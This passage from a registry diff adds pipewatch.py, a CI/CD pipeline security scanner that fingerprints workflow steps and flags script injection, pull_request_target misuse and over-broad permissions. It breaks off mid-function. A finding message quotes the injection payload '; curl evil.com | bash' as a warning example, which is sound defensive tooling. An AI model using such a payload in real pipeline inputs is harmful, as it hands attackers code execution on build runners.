pipewatch-cli 0.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- pipewatch.py +1147 -0
- pipewatch_cli-0.2.0.dist-info/METADATA +288 -0
- pipewatch_cli-0.2.0.dist-info/RECORD +7 -0
- pipewatch_cli-0.2.0.dist-info/WHEEL +5 -0
- pipewatch_cli-0.2.0.dist-info/entry_points.txt +2 -0
- pipewatch_cli-0.2.0.dist-info/licenses/LICENSE +121 -0
- pipewatch_cli-0.2.0.dist-info/top_level.txt +1 -0
pipewatch.py
ADDED
|
@@ -0,0 +1,1147 @@
|
|
|
1
|
+
"""
|
|
2
|
+
pipewatch v0.2.0 — Integrity monitoring and static analysis for CI/CD pipelines
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
Usage:
|
|
6
|
+
pipewatch baseline # record HEAD as known-good
|
|
7
|
+
pipewatch scan # file diff + step fingerprints vs baseline
|
|
8
|
+
pipewatch pin-audit # flag unpinned GitHub Actions references
|
|
9
|
+
pipewatch static # static analysis — no baseline required
|
|
10
|
+
pipewatch snapshot # capture runner environment to JSON
|
|
11
|
+
pipewatch env-diff <file> # diff two runner environment snapshots
|
|
12
|
+
pipewatch audit # full audit: all checks combined
|
|
13
|
+
pipewatch init-runner # print runner monitoring step block
|
|
14
|
+
"""
|
|
15
|
+
|
|
16
|
+
from __future__ import annotations
|
|
17
|
+
|
|
18
|
+
import argparse
|
|
19
|
+
import difflib
|
|
20
|
+
import hashlib
|
|
21
|
+
import hmac as _hmac_mod
|
|
22
|
+
import json
|
|
23
|
+
import os
|
|
24
|
+
import re
|
|
25
|
+
import shutil
|
|
26
|
+
import subprocess
|
|
27
|
+
import sys
|
|
28
|
+
import urllib.error
|
|
29
|
+
import urllib.request
|
|
30
|
+
from dataclasses import dataclass, field
|
|
31
|
+
from datetime import datetime, timezone
|
|
32
|
+
from pathlib import Path
|
|
33
|
+
from typing import Optional
|
|
34
|
+
|
|
35
|
+
import yaml
|
|
36
|
+
|
|
37
|
+
__version__ = "0.2.0"
|
|
38
|
+
|
|
39
|
+
_BASELINE_FILE = ".pipewatch_baseline"
|
|
40
|
+
_SNAPSHOT_FILE = ".pipewatch_env_snapshot.json"
|
|
41
|
+
_SHA_RE = re.compile(r"^[0-9a-f]{40}$|^[0-9a-f]{64}$", re.IGNORECASE)
|
|
42
|
+
_STEP_FIELDS = ("uses", "run", "with", "env", "shell")
|
|
43
|
+
_TRACKED_TOOLS = [
|
|
44
|
+
"python3", "python", "node", "npm", "pip", "pip3",
|
|
45
|
+
"git", "curl", "wget", "docker", "kubectl", "terraform", "aws", "gcloud", "az",
|
|
46
|
+
]
|
|
47
|
+
_IGNORE_VARS: frozenset[str] = frozenset({
|
|
48
|
+
"GITHUB_RUN_ID", "GITHUB_RUN_NUMBER", "GITHUB_SHA", "GITHUB_REF",
|
|
49
|
+
"GITHUB_REF_NAME", "GITHUB_REF_TYPE", "GITHUB_HEAD_REF", "GITHUB_BASE_REF",
|
|
50
|
+
"GITHUB_EVENT_NAME", "GITHUB_ACTOR", "GITHUB_ACTION", "GITHUB_JOB",
|
|
51
|
+
"RUNNER_TEMP", "RUNNER_WORKSPACE", "GITHUB_WORKSPACE",
|
|
52
|
+
"HOME", "TMPDIR", "TMP", "TEMP", "PWD", "_", "TERM", "SHLVL", "OLDPWD",
|
|
53
|
+
})
|
|
54
|
+
# Env var names matching this pattern are excluded from snapshots to prevent
|
|
55
|
+
# writing credentials (tokens, keys, passwords) to disk or the cache store.
|
|
56
|
+
_CREDENTIAL_VAR_RE = re.compile(
|
|
57
|
+
r"(token|secret|key|password|passwd|pwd|auth|credential|private|api_key)",
|
|
58
|
+
re.IGNORECASE,
|
|
59
|
+
)
|
|
60
|
+
_SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4}
|
|
61
|
+
_ANSI = {
|
|
62
|
+
"HIGH": "\033[91m", "CRITICAL": "\033[91m", "MEDIUM": "\033[93m",
|
|
63
|
+
"LOW": "\033[94m", "INFO": "\033[0m", "RESET": "\033[0m",
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
# Static analysis patterns
|
|
67
|
+
_DANGEROUS_CTX = re.compile(
|
|
68
|
+
r"\$\{\{[^}]*("
|
|
69
|
+
r"github\.event\.pull_request\.(title|body|head\.ref|head\.label)"
|
|
70
|
+
r"|github\.event\.issue\.(title|body)"
|
|
71
|
+
r"|github\.event\.comment\.body"
|
|
72
|
+
r"|github\.event\.discussion\.(title|body)"
|
|
73
|
+
r"|github\.event\.review\.body"
|
|
74
|
+
r"|github\.event\.review_comment\.body"
|
|
75
|
+
r"|github\.head_ref"
|
|
76
|
+
r")[^}]*\}\}",
|
|
77
|
+
re.IGNORECASE,
|
|
78
|
+
)
|
|
79
|
+
_GH_HOSTED = re.compile(r"^(ubuntu|windows|macos)", re.IGNORECASE)
|
|
80
|
+
_UNSAFE_TRIGGERS = frozenset({
|
|
81
|
+
"pull_request", "issues", "issue_comment",
|
|
82
|
+
"pull_request_review", "pull_request_review_comment",
|
|
83
|
+
})
|
|
84
|
+
_GITLAB_RESERVED = frozenset({
|
|
85
|
+
"stages", "variables", "include", "default", "workflow",
|
|
86
|
+
"image", "services", "before_script", "after_script", "cache", "artifacts",
|
|
87
|
+
})
|
|
88
|
+
|
|
89
|
+
# Jenkinsfile patterns (best-effort — Groovy DSL has no Python parser)
|
|
90
|
+
_JENKINS_STAGE = re.compile(r"stage\s*\(\s*['\"]([^'\"]+)['\"]\s*\)")
|
|
91
|
+
_JENKINS_SH = re.compile(
|
|
92
|
+
r"\b(?:sh|bat)\s+(?:script:\s*)?(?:'''(.*?)'''|\"\"\"(.*?)\"\"\"|'([^']*)'|\"([^\"]*)\")",
|
|
93
|
+
re.DOTALL,
|
|
94
|
+
)
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
# ── pipeline file discovery ───────────────────────────────────────────────────
|
|
98
|
+
|
|
99
|
+
def find_pipeline_files(repo: Path) -> list[Path]:
|
|
100
|
+
found = []
|
|
101
|
+
for subdir, pat in [(".github/workflows", "*.yml"), (".github/workflows", "*.yaml")]:
|
|
102
|
+
base = repo / subdir
|
|
103
|
+
if base.exists():
|
|
104
|
+
found.extend(base.glob(pat))
|
|
105
|
+
for name in ("Jenkinsfile", ".gitlab-ci.yml", ".gitlab-ci.yaml"):
|
|
106
|
+
p = repo / name
|
|
107
|
+
if p.exists():
|
|
108
|
+
found.append(p)
|
|
109
|
+
return found
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def _is_pipeline_path(path: str) -> bool:
|
|
113
|
+
p = Path(path)
|
|
114
|
+
if p.name in ("Jenkinsfile", ".gitlab-ci.yml", ".gitlab-ci.yaml"):
|
|
115
|
+
return True
|
|
116
|
+
return (len(p.parts) >= 3 and p.parts[0] == ".github"
|
|
117
|
+
and p.parts[1] == "workflows" and p.suffix in (".yml", ".yaml"))
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
# ── git helpers ───────────────────────────────────────────────────────────────
|
|
121
|
+
|
|
122
|
+
def git_show(repo: Path, commit: str, path: str) -> Optional[str]:
|
|
123
|
+
r = subprocess.run(["git", "show", f"{commit}:{path}"],
|
|
124
|
+
cwd=repo, capture_output=True, text=True)
|
|
125
|
+
return r.stdout if r.returncode == 0 else None
|
|
126
|
+
|
|
127
|
+
|
|
128
|
+
def git_head(repo: Path) -> str:
|
|
129
|
+
r = subprocess.run(["git", "rev-parse", "HEAD"],
|
|
130
|
+
cwd=repo, capture_output=True, text=True)
|
|
131
|
+
sha = r.stdout.strip()
|
|
132
|
+
if not sha:
|
|
133
|
+
sys.exit("error: could not determine HEAD commit")
|
|
134
|
+
return sha
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
def git_deleted_pipeline_files(repo: Path, commit: str) -> list[str]:
|
|
138
|
+
r = subprocess.run(
|
|
139
|
+
["git", "diff", "--name-status", commit, "HEAD", "--diff-filter=D"],
|
|
140
|
+
cwd=repo, capture_output=True, text=True)
|
|
141
|
+
return [line.split("\t", 1)[1] for line in r.stdout.splitlines()
|
|
142
|
+
if "\t" in line and _is_pipeline_path(line.split("\t", 1)[1])]
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
# ── differ ────────────────────────────────────────────────────────────────────
|
|
146
|
+
|
|
147
|
+
@dataclass
|
|
148
|
+
class FileDiff:
|
|
149
|
+
path: str
|
|
150
|
+
status: str
|
|
151
|
+
diff_lines: list[str] = field(default_factory=list)
|
|
152
|
+
baseline_commit: Optional[str] = None
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def diff_pipeline_files(repo: Path, baseline: str) -> list[FileDiff]:
|
|
156
|
+
results = []
|
|
157
|
+
for fpath in find_pipeline_files(repo):
|
|
158
|
+
rel = str(fpath.relative_to(repo))
|
|
159
|
+
current = fpath.read_text(encoding="utf-8", errors="replace")
|
|
160
|
+
base = git_show(repo, baseline, rel)
|
|
161
|
+
if base is None:
|
|
162
|
+
results.append(FileDiff(rel, "added", list(difflib.unified_diff(
|
|
163
|
+
[], current.splitlines(keepends=True),
|
|
164
|
+
fromfile=f"{rel} (not in baseline)", tofile=f"{rel} (current)")),
|
|
165
|
+
baseline))
|
|
166
|
+
elif base != current:
|
|
167
|
+
results.append(FileDiff(rel, "modified", list(difflib.unified_diff(
|
|
168
|
+
base.splitlines(keepends=True), current.splitlines(keepends=True),
|
|
169
|
+
fromfile=f"{rel} @ {baseline}", tofile=f"{rel} (current)")),
|
|
170
|
+
baseline))
|
|
171
|
+
for path in git_deleted_pipeline_files(repo, baseline):
|
|
172
|
+
results.append(FileDiff(path, "deleted", baseline_commit=baseline))
|
|
173
|
+
return results
|
|
174
|
+
|
|
175
|
+
|
|
176
|
+
# ── step fingerprinting ───────────────────────────────────────────────────────
|
|
177
|
+
|
|
178
|
+
def hash_step(step: dict) -> str:
|
|
179
|
+
"""Hash the security-relevant fields of a GitHub Actions step."""
|
|
180
|
+
canon = json.dumps({k: step[k] for k in _STEP_FIELDS if k in step}, sort_keys=True)
|
|
181
|
+
return hashlib.sha256(canon.encode()).hexdigest()[:16]
|
|
182
|
+
|
|
183
|
+
|
|
184
|
+
def _hash_content(content) -> str:
|
|
185
|
+
"""Hash arbitrary content (for GitLab CI / Jenkinsfile where field names vary)."""
|
|
186
|
+
return hashlib.sha256(json.dumps(content, sort_keys=True).encode()).hexdigest()[:16]
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def _fingerprints(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
|
|
190
|
+
"""GitHub Actions: {(job, step_index): (step_name, fingerprint)}"""
|
|
191
|
+
try:
|
|
192
|
+
doc = yaml.safe_load(content)
|
|
193
|
+
except yaml.YAMLError:
|
|
194
|
+
return {}
|
|
195
|
+
if not isinstance(doc, dict):
|
|
196
|
+
return {}
|
|
197
|
+
out = {}
|
|
198
|
+
for job, job_def in (doc.get("jobs") or {}).items():
|
|
199
|
+
if not isinstance(job_def, dict):
|
|
200
|
+
continue
|
|
201
|
+
for idx, step in enumerate(job_def.get("steps") or []):
|
|
202
|
+
if isinstance(step, dict):
|
|
203
|
+
out[(str(job), idx)] = (step.get("name"), hash_step(step))
|
|
204
|
+
return out
|
|
205
|
+
|
|
206
|
+
|
|
207
|
+
def _fingerprints_gitlab(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
|
|
208
|
+
"""GitLab CI: top-level jobs, fingerprint before_script/script/after_script blocks."""
|
|
209
|
+
try:
|
|
210
|
+
doc = yaml.safe_load(content)
|
|
211
|
+
except yaml.YAMLError:
|
|
212
|
+
return {}
|
|
213
|
+
if not isinstance(doc, dict):
|
|
214
|
+
return {}
|
|
215
|
+
out = {}
|
|
216
|
+
for job_name, job_def in doc.items():
|
|
217
|
+
if job_name.startswith(".") or job_name in _GITLAB_RESERVED:
|
|
218
|
+
continue
|
|
219
|
+
if not isinstance(job_def, dict):
|
|
220
|
+
continue
|
|
221
|
+
for idx, block_name in enumerate(("before_script", "script", "after_script")):
|
|
222
|
+
if block_name in job_def:
|
|
223
|
+
out[(str(job_name), idx)] = (
|
|
224
|
+
block_name,
|
|
225
|
+
_hash_content(job_def[block_name]),
|
|
226
|
+
)
|
|
227
|
+
return out
|
|
228
|
+
|
|
229
|
+
|
|
230
|
+
def _fingerprints_jenkinsfile(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
|
|
231
|
+
"""Jenkinsfile: best-effort regex extraction of stage/sh/bat blocks."""
|
|
232
|
+
out = {}
|
|
233
|
+
stages = list(_JENKINS_STAGE.finditer(content))
|
|
234
|
+
for i, stage_match in enumerate(stages):
|
|
235
|
+
stage_name = stage_match.group(1)
|
|
236
|
+
start = stage_match.start()
|
|
237
|
+
end = stages[i + 1].start() if i + 1 < len(stages) else len(content)
|
|
238
|
+
chunk = content[start:end]
|
|
239
|
+
commands = []
|
|
240
|
+
for m in _JENKINS_SH.finditer(chunk):
|
|
241
|
+
cmd = next((g for g in m.groups() if g is not None), "")
|
|
242
|
+
commands.append(cmd.strip())
|
|
243
|
+
out[(stage_name, 0)] = (stage_name, _hash_content({"run": commands, "stage": stage_name}))
|
|
244
|
+
return out
|
|
245
|
+
|
|
246
|
+
|
|
247
|
+
@dataclass
|
|
248
|
+
class StepChange:
|
|
249
|
+
path: str
|
|
250
|
+
job: str
|
|
251
|
+
step_index: int
|
|
252
|
+
step_name: Optional[str]
|
|
253
|
+
baseline_fp: Optional[str]
|
|
254
|
+
current_fp: Optional[str]
|
|
255
|
+
status: str
|
|
256
|
+
|
|
257
|
+
|
|
258
|
+
def _fps_for_file(fpath: Path, rel: str, content: str) -> dict:
|
|
259
|
+
if fpath.name == "Jenkinsfile":
|
|
260
|
+
return _fingerprints_jenkinsfile(content)
|
|
261
|
+
if fpath.name in (".gitlab-ci.yml", ".gitlab-ci.yaml"):
|
|
262
|
+
return _fingerprints_gitlab(content)
|
|
263
|
+
return _fingerprints(content)
|
|
264
|
+
|
|
265
|
+
|
|
266
|
+
def diff_fingerprints(repo: Path, baseline: str) -> list[StepChange]:
|
|
267
|
+
changes = []
|
|
268
|
+
for fpath in find_pipeline_files(repo):
|
|
269
|
+
rel = str(fpath.relative_to(repo))
|
|
270
|
+
current_content = fpath.read_text(encoding="utf-8", errors="replace")
|
|
271
|
+
base_content = git_show(repo, baseline, rel)
|
|
272
|
+
cur = _fps_for_file(fpath, rel, current_content)
|
|
273
|
+
bas = _fps_for_file(fpath, rel, base_content) if base_content else {}
|
|
274
|
+
for key in sorted(set(cur) | set(bas)):
|
|
275
|
+
c, b = cur.get(key), bas.get(key)
|
|
276
|
+
if b is None:
|
|
277
|
+
changes.append(StepChange(rel, key[0], key[1], c[0] if c else None,
|
|
278
|
+
None, c[1] if c else None, "added"))
|
|
279
|
+
elif c is None:
|
|
280
|
+
changes.append(StepChange(rel, key[0], key[1], b[0], b[1], None, "removed"))
|
|
281
|
+
elif c[1] != b[1]:
|
|
282
|
+
changes.append(StepChange(rel, key[0], key[1], c[0], b[1], c[1], "modified"))
|
|
283
|
+
return changes
|
|
284
|
+
|
|
285
|
+
|
|
286
|
+
# ── static analysis ───────────────────────────────────────────────────────────
|
|
287
|
+
|
|
288
|
+
def _load_workflow_docs(repo: Path) -> dict[str, dict]:
|
|
289
|
+
"""Load all GitHub Actions workflow files → {rel_path: parsed_doc}
|
|
290
|
+
|
|
291
|
+
Both glob patterns are collected before iterating so that a file with an
|
|
292
|
+
unusual double extension (if it ever appeared) would simply overwrite its
|
|
293
|
+
first entry — the last parse wins, which is fine for our purposes.
|
|
294
|
+
A file can only match one extension pattern, so duplicates cannot arise in
|
|
295
|
+
practice; the combined list is safe to iterate without a duplicate guard.
|
|
296
|
+
"""
|
|
297
|
+
docs = {}
|
|
298
|
+
wf_dir = repo / ".github" / "workflows"
|
|
299
|
+
if not wf_dir.exists():
|
|
300
|
+
return docs
|
|
301
|
+
for fpath in list(wf_dir.glob("*.yml")) + list(wf_dir.glob("*.yaml")):
|
|
302
|
+
rel = str(fpath.relative_to(repo))
|
|
303
|
+
try:
|
|
304
|
+
doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
|
|
305
|
+
if isinstance(doc, dict):
|
|
306
|
+
docs[rel] = doc
|
|
307
|
+
except (yaml.YAMLError, OSError):
|
|
308
|
+
continue
|
|
309
|
+
return docs
|
|
310
|
+
|
|
311
|
+
|
|
312
|
+
def _get_triggers(doc: dict) -> dict:
|
|
313
|
+
"""Parse `on:` block — PyYAML parses the bare `on` key as boolean True."""
|
|
314
|
+
on = doc.get("on") or doc.get(True) or {}
|
|
315
|
+
if isinstance(on, str):
|
|
316
|
+
return {on: {}}
|
|
317
|
+
if isinstance(on, list):
|
|
318
|
+
return {t: {} for t in on}
|
|
319
|
+
return on if isinstance(on, dict) else {}
|
|
320
|
+
|
|
321
|
+
|
|
322
|
+
def _check_pr_target_misuse(docs: dict[str, dict]) -> list[dict]:
|
|
323
|
+
"""Flag pull_request_target workflows that check out and execute PR head code."""
|
|
324
|
+
findings = []
|
|
325
|
+
# Anchor with $ so this doesn't match actions/checkout-something-else.
|
|
326
|
+
checkout_re = re.compile(r"actions/checkout(@[^@]+)?$")
|
|
327
|
+
pr_head_re = re.compile(r"github\.event\.pull_request\.head|github\.head_ref", re.IGNORECASE)
|
|
328
|
+
for path, doc in docs.items():
|
|
329
|
+
if "pull_request_target" not in _get_triggers(doc):
|
|
330
|
+
continue
|
|
331
|
+
for job_name, job_def in (doc.get("jobs") or {}).items():
|
|
332
|
+
if not isinstance(job_def, dict):
|
|
333
|
+
continue
|
|
334
|
+
for idx, step in enumerate(job_def.get("steps") or []):
|
|
335
|
+
if not isinstance(step, dict):
|
|
336
|
+
continue
|
|
337
|
+
if not checkout_re.match(step.get("uses", "")):
|
|
338
|
+
continue
|
|
339
|
+
with_block = json.dumps(step.get("with") or {})
|
|
340
|
+
if pr_head_re.search(with_block):
|
|
341
|
+
findings.append(_finding(
|
|
342
|
+
f"PW-PRT-{len(findings)+1:03d}", "HIGH",
|
|
343
|
+
"pull_request_target_misuse",
|
|
344
|
+
f"pull_request_target checks out PR head: {path}::{job_name}::step[{idx}]",
|
|
345
|
+
"pull_request_target runs with write permissions against the base branch. "
|
|
346
|
+
"Checking out and executing PR head code hands arbitrary code execution to "
|
|
347
|
+
"the PR author — this is the pattern behind numerous CI poisoning attacks.",
|
|
348
|
+
f"{path}::{job_name}::step[{idx}]",
|
|
349
|
+
f"uses={step.get('uses')} with={with_block[:120]}",
|
|
350
|
+
))
|
|
351
|
+
return findings
|
|
352
|
+
|
|
353
|
+
|
|
354
|
+
def _check_script_injection(docs: dict[str, dict]) -> list[dict]:
|
|
355
|
+
"""Flag run: blocks and env: blocks that route untrusted user-controlled context values
|
|
356
|
+
into shell commands. The env: vector is classic: set an env var from a user-controlled
|
|
357
|
+
context value, then expand $VAR inside the run: block — no ${{ }} in the run: block
|
|
358
|
+
itself, but still fully attacker-controlled.
|
|
359
|
+
"""
|
|
360
|
+
findings = []
|
|
361
|
+
for path, doc in docs.items():
|
|
362
|
+
for job_name, job_def in (doc.get("jobs") or {}).items():
|
|
363
|
+
if not isinstance(job_def, dict):
|
|
364
|
+
continue
|
|
365
|
+
for idx, step in enumerate(job_def.get("steps") or []):
|
|
366
|
+
if not isinstance(step, dict):
|
|
367
|
+
continue
|
|
368
|
+
|
|
369
|
+
# Check run: block for direct context interpolation.
|
|
370
|
+
run_matches: list = []
|
|
371
|
+
if "run" in step:
|
|
372
|
+
run_matches = _DANGEROUS_CTX.findall(str(step["run"]))
|
|
373
|
+
|
|
374
|
+
# Check env: block — user-controlled value bound to an env var
|
|
375
|
+
# that the run: block may then expand via $VAR / %VAR%.
|
|
376
|
+
env_matches: list = []
|
|
377
|
+
env_block = step.get("env")
|
|
378
|
+
if isinstance(env_block, dict):
|
|
379
|
+
env_matches = _DANGEROUS_CTX.findall(json.dumps(env_block))
|
|
380
|
+
|
|
381
|
+
all_matches = run_matches + env_matches
|
|
382
|
+
if not all_matches:
|
|
383
|
+
continue
|
|
384
|
+
|
|
385
|
+
sources = sorted(set(
|
|
386
|
+
m[0] if isinstance(m, tuple) else m for m in all_matches
|
|
387
|
+
))
|
|
388
|
+
vectors = []
|
|
389
|
+
if run_matches:
|
|
390
|
+
vectors.append("run:")
|
|
391
|
+
if env_matches:
|
|
392
|
+
vectors.append("env: (routed to shell via environment variable)")
|
|
393
|
+
|
|
394
|
+
findings.append(_finding(
|
|
395
|
+
f"PW-INJ-{len(findings)+1:03d}", "HIGH",
|
|
396
|
+
"script_injection",
|
|
397
|
+
f"Script injection risk: {path}::{job_name}::step[{idx}]",
|
|
398
|
+
"A user-controlled context value is interpolated into a shell command "
|
|
399
|
+
"(directly in run: or via an env: variable). An attacker can craft a "
|
|
400
|
+
"PR title, issue body, or branch name containing "
|
|
401
|
+
"`; curl evil.com | bash` to execute arbitrary code. "
|
|
402
|
+
f"Injection vector(s): {', '.join(vectors)}",
|
|
403
|
+
f"{path}::{job_name}::step[{idx}]",
|
|
404
|
+
f"dangerous expressions found: {sources}",
|
|
405
|
+
))
|
|
406
|
+
return findings
|
|
407
|
+
|
|
408
|
+
|
|
409
|
+
def _check_permissions(docs: dict[str, dict]) -> list[dict]:
|
|
410
|
+
"""Audit top-level and per-job permissions blocks."""
|
|
411
|
+
findings = []
|
|
412
|
+
for path, doc in docs.items():
|
|
413
|
+
top_perms = doc.get("permissions")
|
|
414
|
+
if top_perms is None:
|
|
415
|
+
findings.append(_finding(
|
|
416
|
+
f"PW-PERM-{len(findings)+1:03d}", "MEDIUM",
|
|
417
|
+
"permissions",
|
|
418
|
+
f"No permissions block: {path}",
|
|
419
|
+
"Without an explicit permissions block the workflow inherits the repository's "
|
|
420
|
+
"default — which may grant write access to all scopes. "
|
|
421
|
+
"Declare the minimum required permissions explicitly.",
|
|
422
|
+
path,
|
|
423
|
+
"add: permissions: read-all (or scope each permission individually)",
|
|
424
|
+
))
|
|
425
|
+
elif top_perms == "write-all":
|
|
426
|
+
findings.append(_finding(
|
|
427
|
+
f"PW-PERM-{len(findings)+1:03d}", "HIGH",
|
|
428
|
+
"permissions",
|
|
429
|
+
f"permissions: write-all in {path}",
|
|
430
|
+
"write-all grants write access to every scope. "
|
|
431
|
+
"Scope permissions to the minimum each job actually needs.",
|
|
432
|
+
path,
|
|
433
|
+
))
|
|
434
|
+
for job_name, job_def in (doc.get("jobs") or {}).items():
|
|
435
|
+
if not isinstance(job_def, dict):
|
|
436
|
+
continue
|
|
437
|
+
job_perms = job_def.get("permissions")
|
|
438
|
+
if job_perms == "write-all":
|
|
439
|
+
findings.append(_finding(
|
|
440
|
+
f"PW-PERM-{len(findings)+1:03d}", "HIGH",
|
|
441
|
+
"permissions",
|
|
442
|
+
f"Job permissions: write-all in {path}::{job_name}",
|
|
443
|
+
f"Job '{job_name}' has permissions: write-all.",
|
|
444
|
+
f"{path}::{job_name}",
|
|
445
|
+
))
|
|
446
|
+
elif isinstance(job_perms, dict):
|
|
447
|
+
write_scopes = [k for k, v in job_perms.items() if v in ("write", "admin")]
|
|
448
|
+
if write_scopes:
|
|
449
|
+
findings.append(_finding(
|
|
450
|
+
f"PW-PERM-{len(findings)+1:03d}", "HIGH",
|
|
451
|
+
"permissions",
|
|
452
|
+
f"Job has write-scoped permissions: {path}::{job_name}",
|
|
453
|
+
f"Job '{job_name}' grants write access to: {write_scopes}. "
|
|
454
|
+
"Scope each permission to the minimum the job actually needs.",
|
|
455
|
+
f"{path}::{job_name}",
|
|
456
|
+
f"write scopes: {write_scopes}",
|
|
457
|
+
))
|
|
458
|
+
if job_def.get("secrets") == "inherit":
|
|
459
|
+
findings.append(_finding(
|
|
460
|
+
f"PW-PERM-{len(findings)+1:03d}", "MEDIUM",
|
|
461
|
+
"permissions",
|
|
462
|
+
f"secrets: inherit in {path}::{job_name}",
|
|
463
|
+
f"Job '{job_name}' passes all secrets to a called workflow. "
|
|
464
|
+
"Pass only the specific secrets each called workflow needs.",
|
|
465
|
+
f"{path}::{job_name}",
|
|
466
|
+
))
|
|
467
|
+
return findings
|
|
468
|
+
|
|
469
|
+
|
|
470
|
+
def _check_self_hosted(docs: dict[str, dict]) -> list[dict]:
|
|
471
|
+
"""Flag jobs running on self-hosted runners."""
|
|
472
|
+
_EXPR_RE = re.compile(r"\$\{\{") # expression syntax — can't be statically resolved
|
|
473
|
+
|
|
474
|
+
findings = []
|
|
475
|
+
for path, doc in docs.items():
|
|
476
|
+
for job_name, job_def in (doc.get("jobs") or {}).items():
|
|
477
|
+
if not isinstance(job_def, dict):
|
|
478
|
+
continue
|
|
479
|
+
runs_on = job_def.get("runs-on", "")
|
|
480
|
+
is_self_hosted = False
|
|
481
|
+
if isinstance(runs_on, list):
|
|
482
|
+
# Skip lists that contain expression elements — matrix builds,
|
|
483
|
+
# dynamic runner selection, etc. can't be resolved statically.
|
|
484
|
+
if any(_EXPR_RE.search(str(r)) for r in runs_on):
|
|
485
|
+
continue
|
|
486
|
+
is_self_hosted = "self-hosted" in runs_on or any(
|
|
487
|
+
not _GH_HOSTED.match(str(r)) for r in runs_on if isinstance(r, str)
|
|
488
|
+
)
|
|
489
|
+
elif isinstance(runs_on, str) and runs_on:
|
|
490
|
+
# Skip expression-based values like ${{ matrix.os }} or ${{ inputs.runner }}.
|
|
491
|
+
if _EXPR_RE.search(runs_on):
|
|
492
|
+
continue
|
|
493
|
+
is_self_hosted = not _GH_HOSTED.match(runs_on)
|
|
494
|
+
if is_self_hosted:
|
|
495
|
+
findings.append(_finding(
|
|
496
|
+
f"PW-RUNNER-{len(findings)+1:03d}", "INFO",
|
|
497
|
+
"self_hosted_runner",
|
|
498
|
+
f"Self-hosted runner: {path}::{job_name}",
|
|
499
|
+
f"Job '{job_name}' runs on '{runs_on}'. Self-hosted runners are not ephemeral, "
|
|
500
|
+
"not managed by GitHub, and may persist state between runs. "
|
|
501
|
+
"All other findings in this job carry elevated risk.",
|
|
502
|
+
f"{path}::{job_name}",
|
|
503
|
+
f"runs-on: {runs_on}",
|
|
504
|
+
))
|
|
505
|
+
return findings
|
|
506
|
+
|
|
507
|
+
|
|
508
|
+
def _check_workflow_run_chains(docs: dict[str, dict]) -> list[dict]:
|
|
509
|
+
"""Flag workflow_run triggers that chain write-permissioned workflows to unsafe sources."""
|
|
510
|
+
findings = []
|
|
511
|
+
# Map workflow name (or filename stem) → set of trigger names
|
|
512
|
+
name_to_triggers: dict[str, set[str]] = {}
|
|
513
|
+
for path, doc in docs.items():
|
|
514
|
+
triggers = set(_get_triggers(doc).keys())
|
|
515
|
+
name = doc.get("name") or Path(path).stem
|
|
516
|
+
name_to_triggers[name] = triggers
|
|
517
|
+
name_to_triggers[path] = triggers # also index by path
|
|
518
|
+
|
|
519
|
+
for path, doc in docs.items():
|
|
520
|
+
triggers = _get_triggers(doc)
|
|
521
|
+
if "workflow_run" not in triggers:
|
|
522
|
+
continue
|
|
523
|
+
wr_config = triggers.get("workflow_run") or {}
|
|
524
|
+
triggered_by = wr_config.get("workflows", []) if isinstance(wr_config, dict) else []
|
|
525
|
+
|
|
526
|
+
def _perms_has_write(perms) -> bool:
|
|
527
|
+
return (
|
|
528
|
+
perms == "write-all"
|
|
529
|
+
or (isinstance(perms, dict)
|
|
530
|
+
and any(v in ("write", "admin") for v in perms.values()))
|
|
531
|
+
)
|
|
532
|
+
|
|
533
|
+
top_perms = doc.get("permissions")
|
|
534
|
+
workflow_has_write = _perms_has_write(top_perms)
|
|
535
|
+
|
|
536
|
+
# Collect job names that have write access — either inherited from a
|
|
537
|
+
# write-permissioned top-level block or explicitly set at the job level.
|
|
538
|
+
write_jobs: list[str] = []
|
|
539
|
+
for job_name, job_def in (doc.get("jobs") or {}).items():
|
|
540
|
+
if not isinstance(job_def, dict):
|
|
541
|
+
continue
|
|
542
|
+
job_perms = job_def.get("permissions")
|
|
543
|
+
if job_perms is None:
|
|
544
|
+
# Inherits top-level — flagged if top-level is write
|
|
545
|
+
if workflow_has_write:
|
|
546
|
+
write_jobs.append(job_name)
|
|
547
|
+
elif _perms_has_write(job_perms):
|
|
548
|
+
write_jobs.append(job_name)
|
|
549
|
+
|
|
550
|
+
has_write = bool(write_jobs) or (workflow_has_write and not doc.get("jobs"))
|
|
551
|
+
|
|
552
|
+
for source_name in triggered_by:
|
|
553
|
+
source_triggers = name_to_triggers.get(source_name, set())
|
|
554
|
+
unsafe = source_triggers & _UNSAFE_TRIGGERS
|
|
555
|
+
if unsafe and has_write:
|
|
556
|
+
findings.append(_finding(
|
|
557
|
+
f"PW-CHAIN-{len(findings)+1:03d}", "HIGH",
|
|
558
|
+
"workflow_run_chain",
|
|
559
|
+
f"Unsafe workflow_run chain: {path}",
|
|
560
|
+
f"'{path}' runs on workflow_run triggered by '{source_name}', "
|
|
561
|
+
f"which responds to {sorted(unsafe)}. "
|
|
562
|
+
"This workflow has write permissions, creating a privilege escalation path: "
|
|
563
|
+
"a PR from an untrusted fork can indirectly trigger write-permissioned code.",
|
|
564
|
+
path,
|
|
565
|
+
f"source={source_name} source_triggers={sorted(unsafe)} "
|
|
566
|
+
f"write_jobs={write_jobs or ['(top-level)']}",
|
|
567
|
+
))
|
|
568
|
+
return findings
|
|
569
|
+
|
|
570
|
+
|
|
571
|
+
def static_analysis(repo: Path) -> list[dict]:
|
|
572
|
+
"""Run all static checks that don't require a baseline commit."""
|
|
573
|
+
docs = _load_workflow_docs(repo)
|
|
574
|
+
return (
|
|
575
|
+
_check_pr_target_misuse(docs)
|
|
576
|
+
